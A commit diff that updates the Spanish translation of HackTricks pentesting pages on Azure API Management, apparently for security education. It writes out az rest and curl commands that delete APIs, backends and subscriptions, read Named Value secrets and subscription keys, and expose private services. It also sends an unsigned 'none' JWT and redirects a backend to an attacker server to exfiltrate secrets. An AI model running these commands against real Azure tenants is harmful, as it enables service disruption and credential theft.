Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api-

This commit is contained in:
Translator
2025-12-26 18:50:04 +00:00
parent 03ee8170c6
commit c409100cac
3 changed files with 40 additions and 40 deletions

View File

@@ -2,8 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
El atacante puede usar múltiples vectores para provocar un denial of service. Para bloquear el tráfico legítimo, el atacante añade políticas de rate-limiting y de cuota con valores extremadamente bajos, impidiendo efectivamente el acceso normal:
## `Microsoft.ApiManagement/service/apis/policies/write` o `Microsoft.ApiManagement/service/policies/write`
El atacante puede usar múltiples vectores para causar una denial of service. Para bloquear tráfico legítimo, el atacante agrega rate-limiting y quota policies con valores extremadamente bajos, impidiendo efectivamente el acceso normal:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -15,7 +15,7 @@ az rest --method PUT \
}
}'
```
Para bloquear direcciones IP legítimas de clientes específicas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes procedentes de direcciones seleccionadas:
Para bloquear direcciones IP legítimas de clientes concretas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes desde las direcciones seleccionadas:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -27,8 +27,8 @@ az rest --method PUT \
}
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
Para provocar que las solicitudes fallen, el atacante puede modificar la configuración del backend y cambiar su URL a una dirección inválida o inaccesible:
## `Microsoft.ApiManagement/service/backends/write` o `Microsoft.ApiManagement/service/backends/delete`
Para provocar que las requests fallen, el atacante puede modificar la configuración de un backend y cambiar su URL a una dirección inválida o inalcanzable:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -47,14 +47,14 @@ az rest --method DELETE \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Para dejar APIs críticas inaccesibles, el atacante puede eliminarlas directamente desde el servicio API Management:
Para dejar APIs críticas indisponibles, el atacante puede eliminarlas directamente desde el servicio API Management:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público a la red en el servicio API Management:
Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público al servicio de API Management:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
@@ -66,7 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar subscriptions de API Management:
Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar las suscripciones de API Management:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \

View File

@@ -4,12 +4,12 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault mediante managed identities.
El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault a través de managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Para cada suscripción, el atacante puede obtener las claves de la suscripción usando el endpoint listSecrets con el método POST:
Para cada suscripción, el atacante puede obtener las claves de suscripción usando el endpoint listSecrets con el método POST:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
@@ -21,14 +21,14 @@ https://<service-name>.azure-api.net/<api-path>
```
El atacante puede acceder a todas las APIs y productos asociados con la suscripción. Si la suscripción tiene acceso a productos o APIs sensibles, el atacante puede obtener información confidencial o realizar operaciones no autorizadas.
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
## `Microsoft.ApiManagement/service/policies/write` o `Microsoft.ApiManagement/service/apis/policies/write`
El atacante primero recupera la política actual de la API:
El atacante primero obtiene la política actual de la API:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para desactivar la autenticación, si la política incluye validación de tokens JWT, el atacante puede eliminar o comentar esa sección:
El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para deshabilitar la autenticación, si la política incluye JWT token validation, el atacante puede eliminar o comentar esa sección:
```xml
<policies>
<inbound>
@@ -84,9 +84,9 @@ az rest --method PUT \
}
}'
```
## Misconfiguración de validación de JWT
## Misconfiguración en la validación de JWT
El atacante necesita saber que una API usa validación de tokens JWT y que la policy está mal configurada. Las policies de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite que el servicio acepte tokens sin firmar o tokens que nunca expiran.
El atacante necesita saber que una API usa la validación de tokens JWT y que la policy está mal configurada. Las políticas de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite al servicio aceptar tokens sin firmar o tokens que nunca expiran.
El atacante crea un token JWT malicioso usando el algoritmo none (sin firmar):
```
@@ -100,7 +100,7 @@ curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token no firmado. El atacante también puede crear un token sin un expiration claim si `require-expiration-time="false"`.
Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token sin firmar. El atacante también puede crear un token sin una claim de expiración si `require-expiration-time="false"`.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
El atacante primero verifica la configuración de red actual del servicio:
@@ -110,7 +110,7 @@ az rest --method GET \
```
El atacante revisa la respuesta JSON para verificar los valores de `publicNetworkAccess` y `virtualNetworkType`. Si `publicNetworkAccess` está establecido en false o `virtualNetworkType` está establecido en Internal, el servicio está configurado para acceso privado.
Para exponer el servicio a Internet, el atacante debe cambiar ambos ajustes. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso de red público. Esto se puede hacer usando la Azure Management API:
Para exponer el servicio a Internet, el atacante debe cambiar ambas configuraciones. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso a la red pública. Esto se puede hacer usando la Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -122,7 +122,7 @@ az rest --method PATCH \
}
}'
```
Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si anteriormente estaban protegidos detrás de una red privada o endpoints privados.
Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si estaban protegidos previamente detrás de una red privada o endpoints privados.
## `Microsoft.ApiManagement/service/backends/write`
El atacante primero enumera los backends existentes para identificar cuál modificar:
@@ -130,12 +130,12 @@ El atacante primero enumera los backends existentes para identificar cuál modif
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
El atacante obtiene la configuración actual del backend que quiere modificar:
El atacante recupera la configuración actual del backend que quiere modificar:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
El atacante modifica la URL del backend para que apunte a un servidor bajo su control. Primero, obtienen el ETag de la respuesta anterior y luego actualizan el backend:
El atacante modifica el backend URL para apuntar a un servidor bajo su control. Primero, obtiene el ETag de la respuesta anterior y luego actualiza el backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -148,7 +148,7 @@ az rest --method PUT \
}
}'
```
Alternativamente, el atacante puede configurar cabeceras de backend para exfiltrar Named Values que contengan secretos. Esto se hace a través de la configuración de credenciales de backend:
Alternativamente, el atacante puede configurar cabeceras del backend para exfiltrar Named Values que contienen secretos. Esto se hace mediante la configuración de credenciales del backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -165,6 +165,6 @@ az rest --method PUT \
}
}'
```
Con esta configuración, Named Values se envían como encabezados en todas las solicitudes al backend controlado por el atacante, lo que permite la exfiltración de secretos sensibles.
Con esta configuración, Named Values se envían como headers en todas las solicitudes al backend controlado por el atacante, permitiendo la exfiltración de secretos sensibles.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,45 +2,45 @@
{{#include ../../../banners/hacktricks-training.md}}
## Información básica
## Basic Information
Azure API Management (APIM) es un servicio totalmente gestionado que ofrece una **plataforma unificada para publicar, asegurar, transformar, gestionar y monitorizar APIs**. Permite a las organizaciones **centralizar su estrategia de API** y asegurar una gobernanza, rendimiento y seguridad consistentes en todos sus servicios. Al actuar como una capa de abstracción entre los servicios backend y los consumidores de APIs, APIM simplifica la integración y mejora la mantenibilidad mientras proporciona capacidades operativas y de seguridad esenciales.
## Conceptos clave
## Core Concepts
**El API Gateway** sirve como el punto de entrada único para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de velocidad, almacenar en caché respuestas y gestionar autenticación y autorización. Este gateway está totalmente alojado y gestionado por Azure, garantizando alta disponibilidad y escalabilidad.
**The API Gateway** sirve como el único punto de entrada para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de tasa, cachear respuestas y gestionar autenticación y autorización. Este gateway está completamente alojado y gestionado por Azure, asegurando alta disponibilidad y escalabilidad.
**El Developer Portal** proporciona un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar el onboarding ofreciendo herramientas interactivas y acceso a la información de suscripciones.
**The Developer Portal** ofrece un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar la incorporación ofreciendo herramientas interactivas y acceso a la información de suscripciones.
**El Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar políticas, gestionar usuarios y organizar APIs en products. Este portal centraliza la administración y asegura una gobernanza de API consistente.
**The Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar policies, gestionar usuarios y organizar APIs en productos. Este portal centraliza la administración y asegura una gobernanza consistente de las APIs.
## Autenticación y autorización
## Authentication and Authorization
Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **claves de suscripción**, **tokens OAuth 2.0** y **certificados de cliente**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend.
Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **subscription keys**, **OAuth 2.0 tokens**, y **client certificates**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend.
## Políticas
## Policies
Las políticas en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varias granularidades, incluyendo el nivel de **servicio**, **API**, **operación** o **product**. A través de políticas, es posible aplicar **validación de tokens JWT**, **transformar payloads XML o JSON**, **aplicar limitación de tasa**, **restringir llamadas por dirección IP** o **autenticar contra servicios backend usando managed identities**. Las políticas son **altamente flexibles** y forman una de las **fortalezas principales** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend.
Las policies en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varios niveles de granularidad, incluyendo el nivel de **service**, **API**, **operation** o **product**. A través de policies, es posible imponer **validación de tokens JWT**, **transformar cargas XML o JSON**, **aplicar rate limiting**, **restringir llamadas por dirección IP**, o **autenticar contra servicios backend usando managed identities**. Las policies son **altamente flexibles** y constituyen una de las **principales fortalezas** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend.
## Valores con nombre
## Named Values
El servicio proporciona un mecanismo llamado **Valores con nombre**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las políticas.
El servicio proporciona un mecanismo llamado **Named Values**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las policies.
Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Los Valores con nombre fomentan una **gestión segura y centralizada** de los datos de configuración y simplifican la creación de políticas al permitir **referencias reutilizables** en lugar de valores hardcodeados.
Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Named Values promueven la **gestión centralizada y segura** de datos de configuración y simplifican la redacción de policies permitiendo **referencias reutilizables** en lugar de valores hardcodeados.
## Integración de red y seguridad
## Networking and Security Integration
Azure API Management se integra sin problemas con entornos de **Virtual Network (VNet)**, permitiendo **conectividad privada y segura** a sistemas backend.
Azure API Management se integra sin problemas con **entornos de red virtual**, habilitando **conectividad privada y segura** con sistemas backend.
Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación TLS mutua** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad sólida**.
Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación mutua TLS** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad fuerte**.
Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **nativas de la nube** como **híbridas**.
Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **cloud-native** como **híbridas**.
### Enumerar
### Enumerate
Para enumerar el servicio de API Management:
To enumerate the API management service:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>